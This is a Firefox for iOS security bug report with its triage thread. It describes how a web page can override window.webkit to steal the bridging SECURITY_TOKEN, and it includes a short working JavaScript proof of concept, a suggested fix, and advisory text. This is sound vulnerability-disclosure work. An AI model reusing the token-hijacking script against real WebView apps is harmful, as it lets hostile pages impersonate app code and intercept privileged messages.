Firefox iOS Security Token Hijack By Overriding window.webkit
Categories
(Firefox for iOS :: General, task, P1)
Tracking
()
Tracking | Status | |
---|---|---|
fxios | 25 | --- |
People
(Reporter: vinothsparrow, Assigned: garvan)
Details
(Keywords: csectype-priv-escalation, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?])
Attachments
(2 files, 2 obsolete files)
Firefox Version: v24.1
OS: iOS 13.3.1
Issue: Firefox iOS Security Token Hijack By Overriding window.webkit
Description:
Firefox iOS uses window.webkit.messageHandlers to communicate between WKWebView and ViewController and this communication is now protected by SECUIRTY_TOKEN(UUID).
But in WKWebView A web page can override |window.webkit| with any value(overriding). The below code would get the SECURITY_TOKEN to attacker controlled page when user visit's attacker's site.
<script type="text/javascript">
function getToken(msg) {
alert(msg.securityToken);
originalWebkit.messageHandlers.readerModeMessageHandler.postMessage(msg);
}
originalWebkit = webkit;
webkit = {};
webkit.messageHandlers = {};
webkit.messageHandlers.readerModeMessageHandler = {};
webkit.messageHandlers.readerModeMessageHandler.postMessage = getToken;
</script>
POC:
- Open https://vinothkumar.tech/firefox-reader your iOS firefox browser.
- Alert popup trigered with SECURITY_TOKEN
Root Cause:
A web page can override |window.webkit| with any value.
Fix:
Deleting the object ensures that original and working implementation of window.webkit is restored.
var oldWebkit = window.webkit;
delete window['webkit'];
window.webkit.messageHandlers[handlerName].postMessage(message);
window.webkit = oldWebkit;
Updated•10 months ago
|
Comment 1•10 months ago
|
||
Rating would depend on what kinds of messages we're sending ourselves that, due to this, any web page can impersonate. "critical" might be overstating it. If it's just informational type messages it might only be sec-moderate or sec-low, but if it's browser actions that affect other origins or the user's data it could be that bad.
The messages should not be exploitable, the intention of this was an extra layer of security.
Most likely just removing the SECURITY_TOKEN entirely, it has likely never worked, there was no specific bug for it being added, and was just a hopeful effort at adding an extra layer of security where WKWebView is lacking.
wip removal patch: https://github.com/garvankeeley/firefox-ios/commit/88d0ca32385096f31caef22fd45ce3767deaa05d
Updated•10 months ago
|
Removed use of sec token with postMessage(), which was a recent addition as an extra layer of security for js-to-native, instead it actually leaks the token. The other direction, native-to-js is unchanged.
This will be in v25 which is being released this week, we should ensure it makes it into the sec advisory notes.
Updated•10 months ago
|
Updated•10 months ago
|
Comment 9•10 months ago
|
||
Updated•10 months ago
|
Comment 10•10 months ago
|
||
Comment 11•10 months ago
|
||
Comment on attachment 9144751 [details] advisory.txt >Native-to-JS bridging security token exploit >Vinoth Kumar > >For native-to-JS bridging the app requires a unique token to be passed that ensures non-app code can't call the bridging functions. That token was being used for JS-to-native also, but it isn't needed in this case, and its usage in this case was also leaking this token.
Comment 12•10 months ago
|
||
Updated•9 months ago
|
Updated•9 months ago
|
Updated•7 months ago
|
Description
•